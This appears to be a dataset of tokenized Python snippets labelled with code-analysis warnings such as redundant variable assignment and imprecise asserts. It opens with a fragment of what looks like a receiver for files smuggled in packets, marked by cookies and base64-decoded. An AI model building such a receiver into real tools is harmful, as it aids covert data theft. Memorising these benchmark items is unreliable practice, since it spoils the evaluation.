"\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "fh_", "._", "write_", "(_", "\"", "Got", " ", "initiati", "on", " ", "packet", " ", "from", " ", "\"_", "+_", "str_", "(_", "s", "\\u", "addr_", ")_", "+_", "\".\\", "\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "fh_", "._", "write_", "(_", "\"", "Wil", "l", " ", "now", " ", "initiate", " ", "captur", "ing", " ", "of", ":", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "fh_", "._", "write_", "(_", "\"\\\\", "t", "\\\\", "t", "File", "name", ":\\\\", "t", "%", "s", "\\\\", "n", "\"_", "%_", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "fh_", "._", "write_", "(_", "\"\\\\", "t", "\\\\", "t", "CR", "C3", "2", ":\\\\", "t", "\\\\", "t", "%", "s", "\\\\", "n", "\"_", "%_", "crc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "fh_", "._", "write_", "(_", "\"\\\\", "t", "\\\\", "t", "Total", " ", "Packe", "ts", ":\\\\", "t", "%", "s", "\\\\", "n", "\"_", "%_", "total", "\\u", "packets_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "fh_", "._", "write_", "(_", "\"\\\\", "t", "\\\\", "t", "Orig", "in", " ", "IP", ":\\\\", "t", "%", "s", "\\\\", "n", "\"_", "%_", "s", "\\u", "addr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Set", " ", "up", " ", "for", " ", "file", " ", "writ", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "data\\u", "packet", "s", "\\u", "recv", "d_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fh_", "=_", "open_", "(_", "filename_", "+_", "\"\\u\"_", "+_", "crc_", ",_", "WRITE", "\\u", "BINARY_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "recv", "d\\u", "data_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Foun", "d", " ", "termination", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "data_", "._", "find_", "(_", "TERMINAT", "ION", "\\u", "COOKIE", "_", ")_", "!=_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "log", "\\u", "fh_", "._", "write_", "(_", "\"", "Terminati", "on", " ", "from", ":", " ", "%", "s", "\\\\", "n", "\"_", "%_", "s", "\\u", "addr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "zlib_", "._", "crc", "32_", "(_", "recv", "d\\u", "data_", ")_", "==_", "int_", "(_", "crc_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "CR", "C3", "2", " ", "is", " ", "matche", "d", ".", " ", "Continu", "ing", " ", "to", " ", "decrypt", "ion", " ", "and", " ", "file", " ", "saving", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t_", "recv", "d\\u", "data_", "=_", "base64_", "._", "b64decode_", "(_", "recv", "d\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fh_", "._", "write_", "(_", "recv", "d\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fh_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "fh_", "._", "write_", "(_", "\"[", "+]", " ", "File", " ", "has", " ", "bee", "n", " ", "created", " ", "and", " ", "saved", " ", "as", " ", "\"_", "+_", "str_", "(_", "filename_", ")_", "+_", "\"\\u\"_", "+_", "str_", "(_", "crc_", ")_", "+_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t_", "sys_", "._", "stderr_", "._", "write_", "(_", "\"[", "!]", " ", "No", " ", "CR", "C", " ", "match", "!", " ", "Wil", "l", " ", "not", " ", "be", " ", "writ", "ing", " ", "file", ".\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Foun", "d", " ", "regular", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "data_", "._", "find_", "(_", "PACKET", "\\u", "COOKIE", "_", ")_", "!=_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "data\\u", "init", "\\u", "offset_", "=_", "data_", "._", "find_", "(_", "PACKET", "\\u", "COOKIE", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "via", "ble", "\\u", "data_", "=_", "data_", "[_", "data\\u", "init", "\\u", "offset_", ":_", "]_", "#", " ", "Get", "ting", " ", "right", " ", "line_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "via", "ble", "\\u", "data_", "=_", "via", "ble", "\\u", "data_", "[_", "via", "ble", "\\u", "data_", "._", "find_", "(_", "\"\\\\\"", ":", " ", "\\\\\"\"_", ")_", "+_", "4_", ":_", "via", "ble", "\\u", "data_", "._", "find_", "(_", "\"\\\\\"", "}\"_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "recv", "d\\u", "data_", "+=_", "via", "ble", "\\u", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "packet", "s", "\\u", "recv", "d_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "write_", "(_", "str_", "(_", "data\\u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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
ekzhu/datasketch/test/minhash_test.py
[ { "content": " def test_init(self):\n bm = bBitMinHash(self.m, 1)\n bm = bBitMinHash(self.m, 2)\n bm = bBitMinHash(self.m, 3)\n bm = bBitMinHash(self.m, 4)\n bm = bBitMinHash(self.m, 5)\n bm = bBitMinHash(self.m, 8)\n bm = bBitMinHash(self.m, 12)\n bm = bBitMinHash(self.m, 16)\n bm = bBitMinHash(self.m, 27)\n bm = bBitMinHash(self.m, 32)", "metadata": "root.TestbBitMinHash.test_init", "header": "['class', 'TestbBitMinHash', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 151 } ]
[ { "span": "bm ", "start_line": 152, "start_column": 8, "end_line": 152, "end_column": 10 }, { "span": "bm ", "start_line": 153, "start_column": 8, "end_line": 153, "end_column": 10 }, { "span": "bm ", "start_line": 154, "start_column": 8, "end_line": 154, "end_column": 10 }, { "span": "bm ", "start_line": 155, "start_column": 8, "end_line": 155, "end_column": 10 }, { "span": "bm ", "start_line": 156, "start_column": 8, "end_line": 156, "end_column": 10 }, { "span": "bm ", "start_line": 157, "start_column": 8, "end_line": 157, "end_column": 10 }, { "span": "bm ", "start_line": 158, "start_column": 8, "end_line": 158, "end_column": 10 }, { "span": "bm ", "start_line": 159, "start_column": 8, "end_line": 159, "end_column": 10 }, { "span": "bm ", "start_line": 160, "start_column": 8, "end_line": 160, "end_column": 10 } ]
[ { "span": "bm ", "start_line": 161, "start_column": 8, "end_line": 161, "end_column": 10 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Test", "b", "Bit", "Min", "Hash_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "init_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bm_", "=_", "b", "Bit", "Min", "Hash_", "(_", "self_", "._", "m_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bm_", "=_", "b", "Bit", "Min", "Hash_", "(_", "self_", "._", "m_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bm_", "=_", "b", "Bit", "Min", "Hash_", "(_", "self_", "._", "m_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bm_", "=_", "b", "Bit", "Min", "Hash_", "(_", "self_", "._", "m_", ",_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bm_", "=_", "b", "Bit", "Min", "Hash_", "(_", "self_", "._", "m_", ",_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bm_", "=_", "b", "Bit", "Min", "Hash_", "(_", "self_", "._", "m_", ",_", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bm_", "=_", "b", "Bit", "Min", "Hash_", "(_", "self_", "._", "m_", ",_", "12_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bm_", "=_", "b", "Bit", "Min", "Hash_", "(_", "self_", "._", "m_", ",_", "16_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bm_", "=_", "b", "Bit", "Min", "Hash_", "(_", "self_", "._", "m_", ",_", "27_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bm_", "=_", "b", "Bit", "Min", "Hash_", "(_", "self_", "._", "m_", ",_", "32_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
ImageEngine/gaffer/python/GafferTest/FileSystemPathTest.py
[ { "content": "\tdef testPropertyNames( self ) :\n\n\t\tp = Gaffer.FileSystemPath( self.temporaryDirectory() )\n\n\t\ta = p.propertyNames()\n\t\tself.assertTrue( isinstance( a, list ) )\n\n\t\tself.assertTrue( \"fileSystem:group\" in a )\n\t\tself.assertTrue( \"fileSystem:owner\" in a )\n\t\tself.assertTrue( \"fileSystem:modificationTime\" in a )\n\t\tself.assertTrue( \"fileSystem:size\" in a )\n\n\t\tself.assertTrue( \"fileSystem:frameRange\" not in a )\n\t\tp = Gaffer.FileSystemPath( self.temporaryDirectory(), includeSequences = True )\n\t\tself.assertTrue( \"fileSystem:frameRange\" in p.propertyNames() )", "metadata": "root.FileSystemPathTest.testPropertyNames", "header": "['class', 'FileSystemPathTest', '(', 'GafferTest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 217 } ]
[ { "span": "self.assertTrue( \"fileSystem:group\" in a )", "start_line": 224, "start_column": 2, "end_line": 224, "end_column": 44 }, { "span": "self.assertTrue( \"fileSystem:owner\" in a )", "start_line": 225, "start_column": 2, "end_line": 225, "end_column": 44 }, { "span": "self.assertTrue( \"fileSystem:modificationTime\" in a )", "start_line": 226, "start_column": 2, "end_line": 226, "end_column": 55 }, { "span": "self.assertTrue( \"fileSystem:size\" in a )", "start_line": 227, "start_column": 2, "end_line": 227, "end_column": 43 }, { "span": "self.assertTrue( \"fileSystem:frameRange\" not in a )", "start_line": 229, "start_column": 2, "end_line": 229, "end_column": 53 }, { "span": "self.assertTrue( \"fileSystem:frameRange\" in p.propertyNames() )", "start_line": 231, "start_column": 2, "end_line": 231, "end_column": 65 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "File", "System", "Path", "Test_", "(_", "Ga", "ffer", "Test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Proper", "ty", "Names_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "p_", "=_", "Ga", "ffer", "_", "._", "File", "System", "Path_", "(_", "self_", "._", "temporar", "y", "Directory_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "=_", "p_", "._", "property", "Names_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "a_", ",_", "list_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "file", "System", ":", "group", "\"_", "in_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "file", "System", ":", "owner", "\"_", "in_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "file", "System", ":", "modification", "Time", "\"_", "in_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "file", "System", ":", "size", "\"_", "in_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "file", "System", ":", "frame", "Range", "\"_", "not_", "in_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "Ga", "ffer", "_", "._", "File", "System", "Path_", "(_", "self_", "._", "temporar", "y", "Directory_", "(_", ")_", ",_", "include", "Sequences", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "file", "System", ":", "frame", "Range", "\"_", "in_", "p_", "._", "property", "Names_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Variable defined multiple times
statsmodels/statsmodels/statsmodels/sandbox/km_class.py
[ { "content": " def fit(self):\n #split the data into groups based on the predicting variable\n #get a set of all the groups\n groups = list(set(self.data[:,self.groupIn]))\n #create an empty list to store the data for different groups\n groupList = []\n #create an empty list for each group and add it to groups\n for i in range(len(groups)):\n groupList.append([])\n #iterate through all the groups in groups\n for i in range(len(groups)):\n #iterate though the rows of dataArray\n for j in range(len(self.data)):\n #test if this row has the correct group\n if self.data[j,self.groupIn] == groups[i]:\n #add the row to groupList\n groupList[i].append(self.data[j])\n #create an empty list to store the times for each group\n timeList = []\n #iterate through all the groups\n for i in range(len(groupList)):\n #create an empty list\n times = []\n #iterate through all the rows of the group\n for j in range(len(groupList[i])):\n #get a list of all the times in the group\n times.append(groupList[i][j][self.timesIn])\n #get a sorted set of the times and store it in timeList\n times = list(sorted(set(times)))\n timeList.append(times)\n #get a list of the number at risk and events at each time\n #create an empty list to store the results in\n timeCounts = []\n #create an empty list to hold points for plotting\n points = []\n #create a list for points where censoring occurs\n censoredPoints = []\n #iterate trough each group\n for i in range(len(groupList)):\n #initialize a variable to estimate the survival function\n survival = 1\n #initialize a variable to estimate the variance of\n #the survival function\n varSum = 0\n #initialize a counter for the number at risk\n riskCounter = len(groupList[i])\n #create a list for the counts for this group\n counts = []\n ##create a list for points to plot\n x = []\n y = []\n #iterate through the list of times\n for j in range(len(timeList[i])):\n if j != 0:\n if j == 1:\n #add an indicator to tell if the time\n #starts a new group\n groupInd = 1\n #add (0,1) to the list of points\n x.append(0)\n y.append(1)\n #add the point time to the right of that\n x.append(timeList[i][j-1])\n y.append(1)\n #add the point below that at survival\n x.append(timeList[i][j-1])\n y.append(survival)\n #add the survival to y\n y.append(survival)\n else:\n groupInd = 0\n #add survival twice to y\n y.append(survival)\n y.append(survival)\n #add the time twice to x\n x.append(timeList[i][j-1])\n x.append(timeList[i][j-1])\n #add each censored time, number of censorings and\n #its survival to censoredPoints\n censoredPoints.append([timeList[i][j-1],\n censoringNum,survival,groupInd])\n #add the count to the list\n counts.append([timeList[i][j-1],riskCounter,\n eventCounter,survival,\n sqrt(((survival)**2)*varSum)])\n #increment the number at risk\n riskCounter += -1*(riskChange)\n #initialize a counter for the change in the number at risk\n riskChange = 0\n #initialize a counter to zero\n eventCounter = 0\n #intialize a counter to tell when censoring occurs\n censoringCounter = 0\n censoringNum = 0\n #iterate through the observations in each group\n for k in range(len(groupList[i])):\n #check of the observation has the given time\n if (groupList[i][k][self.timesIn]) == (timeList[i][j]):\n #increment the number at risk counter\n riskChange += 1\n #check if this is an event or censoring\n if groupList[i][k][self.censoringIn] == 1:\n #add 1 to the counter\n eventCounter += 1\n else:\n censoringNum += 1\n #check if there are any events at this time\n if eventCounter != censoringCounter:\n censoringCounter = eventCounter\n #calculate the estimate of the survival function\n survival *= ((float(riskCounter) -\n eventCounter)/(riskCounter))\n try:\n #calculate the estimate of the variance\n varSum += (eventCounter)/((riskCounter)\n *(float(riskCounter)-\n eventCounter))\n except ZeroDivisionError:\n varSum = 0\n #append the last row to counts\n counts.append([timeList[i][len(timeList[i])-1],\n riskCounter,eventCounter,survival,\n sqrt(((survival)**2)*varSum)])\n #add the last time once to x\n x.append(timeList[i][len(timeList[i])-1])\n x.append(timeList[i][len(timeList[i])-1])\n #add the last survival twice to y\n y.append(survival)\n #y.append(survival)\n censoredPoints.append([timeList[i][len(timeList[i])-1],\n censoringNum,survival,1])\n #add the list for the group to al ist for all the groups\n timeCounts.append(np.array(counts))\n points.append([x,y])\n #returns a list of arrays, where each array has as it columns: the time,\n #the number at risk, the number of events, the estimated value of the\n #survival function at that time, and the estimated standard error at\n #that time, in that order\n self.results = timeCounts\n self.points = points\n self.censoredPoints = censoredPoints", "metadata": "root.KAPLAN_MEIER.fit", "header": "['class', 'KAPLAN_MEIER', '(', 'object', ')', ':', '___EOS___']", "index": 15 } ]
[ { "span": "censoringCounter ", "start_line": 123, "start_column": 20, "end_line": 123, "end_column": 36 } ]
[ { "span": "censoringCounter ", "start_line": 107, "start_column": 16, "end_line": 107, "end_column": 32 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "KA", "PLAN", "\\u", "ME", "IER", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fit_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "split", " ", "the", " ", "data", " ", "int", "o", " ", "group", "s", " ", "based", " ", "on", " ", "the", " ", "predicti", "ng", " ", "variable_", "\\u\\u\\uNL\\u\\u\\u_", "#", "get", " ", "a", " ", "set", " ", "of", " ", "all", " ", "the", " ", "groups_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "groups_", "=_", "list_", "(_", "set_", "(_", "self_", "._", "data_", "[_", ":_", ",_", "self_", "._", "group", "In_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "create", " ", "an", " ", "empty", " ", "list", " ", "to", " ", "store", " ", "the", " ", "data", " ", "for", " ", "different", " ", "groups_", "\\u\\u\\uNL\\u\\u\\u_", "group", "List_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "create", " ", "an", " ", "empty", " ", "list", " ", "for", " ", "each", " ", "group", " ", "and", " ", "add", " ", "it", " ", "to", " ", "groups_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "groups_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "group", "List_", "._", "append_", "(_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "iterate", " ", "through", " ", "all", " ", "the", " ", "group", "s", " ", "in", " ", "groups_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "groups_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "iterate", " ", "tho", "ugh", " ", "the", " ", "rows", " ", "of", " ", "data", "Array_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "j_", "in_", "range_", "(_", "len_", "(_", "self_", "._", "data_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "test", " ", "if", " ", "this", " ", "row", " ", "has", " ", "the", " ", "correct", " ", "group_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "data_", "[_", "j_", ",_", "self_", "._", "group", "In_", "]_", "==_", "groups_", "[_", "i_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", " ", "the", " ", "row", " ", "to", " ", "group", "List_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "group", "List_", "[_", "i_", "]_", "._", "append_", "(_", "self_", "._", "data_", "[_", "j_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "create", " ", "an", " ", "empty", " ", "list", " ", "to", " ", "store", " ", "the", " ", "times", " ", "for", " ", "each", " ", "group_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time", "List_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "iterate", " ", "through", " ", "all", " ", "the", " ", "groups_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "group", "List_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "create", " ", "an", " ", "empty", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "times_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "iterate", " ", "through", " ", "all", " ", "the", " ", "rows", " ", "of", " ", "the", " ", "group_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "j_", "in_", "range_", "(_", "len_", "(_", "group", "List_", "[_", "i_", "]_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "get", " ", "a", " ", "list", " ", "of", " ", "all", " ", "the", " ", "times", " ", "in", " ", "the", " ", "group_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "times_", "._", "append_", "(_", "group", "List_", "[_", "i_", "]_", "[_", "j_", "]_", "[_", "self_", "._", "times", "In_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "get", " ", "a", " ", "sorte", "d", " ", "set", " ", "of", " ", "the", " ", "times", " ", "and", " ", "store", " ", "it", " ", "in", " ", "time", "List_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "times_", "=_", "list_", "(_", "sorted_", "(_", "set_", "(_", "times_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time", "List_", "._", "append_", "(_", "times_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "get", " ", "a", " ", "list", " ", "of", " ", "the", " ", "number", " ", "at", " ", "risk", " ", "and", " ", "events", " ", "at", " ", "each", " ", "time_", "\\u\\u\\uNL\\u\\u\\u_", "#", "create", " ", "an", " ", "empty", " ", "list", " ", "to", " ", "store", " ", "the", " ", "results", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time", "Counts_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "create", " ", "an", " ", "empty", " ", "list", " ", "to", " ", "hold", " ", "points", " ", "for", " ", "plotting_", "\\u\\u\\uNL\\u\\u\\u_", "points_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "create", " ", "a", " ", "list", " ", "for", " ", "points", " ", "where", " ", "cens", "orin", "g", " ", "occur", "s_", "\\u\\u\\uNL\\u\\u\\u_", "cens", "ored", "Points_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "iterate", " ", "trou", "gh", " ", "each", " ", "group_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "group", "List_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "initialize", " ", "a", " ", "variab", "le", " ", "to", " ", "estimate", " ", "the", " ", "surviv", "al", " ", "function_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "surviv", "al_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "initialize", " ", "a", " ", "variab", "le", " ", "to", " ", "estimate", " ", "the", " ", "varian", "ce", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", "the", " ", "surviv", "al", " ", "function_", "\\u\\u\\uNL\\u\\u\\u_", "var", "Sum_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "initialize", " ", "a", " ", "counter", " ", "for", " ", "the", " ", "number", " ", "at", " ", "risk", "_", "\\u\\u\\uNL\\u\\u\\u_", "risk", "Counter_", "=_", "len_", "(_", "group", "List_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "create", " ", "a", " ", "list", " ", "for", " ", "the", " ", "count", "s", " ", "for", " ", "this", " ", "group_", 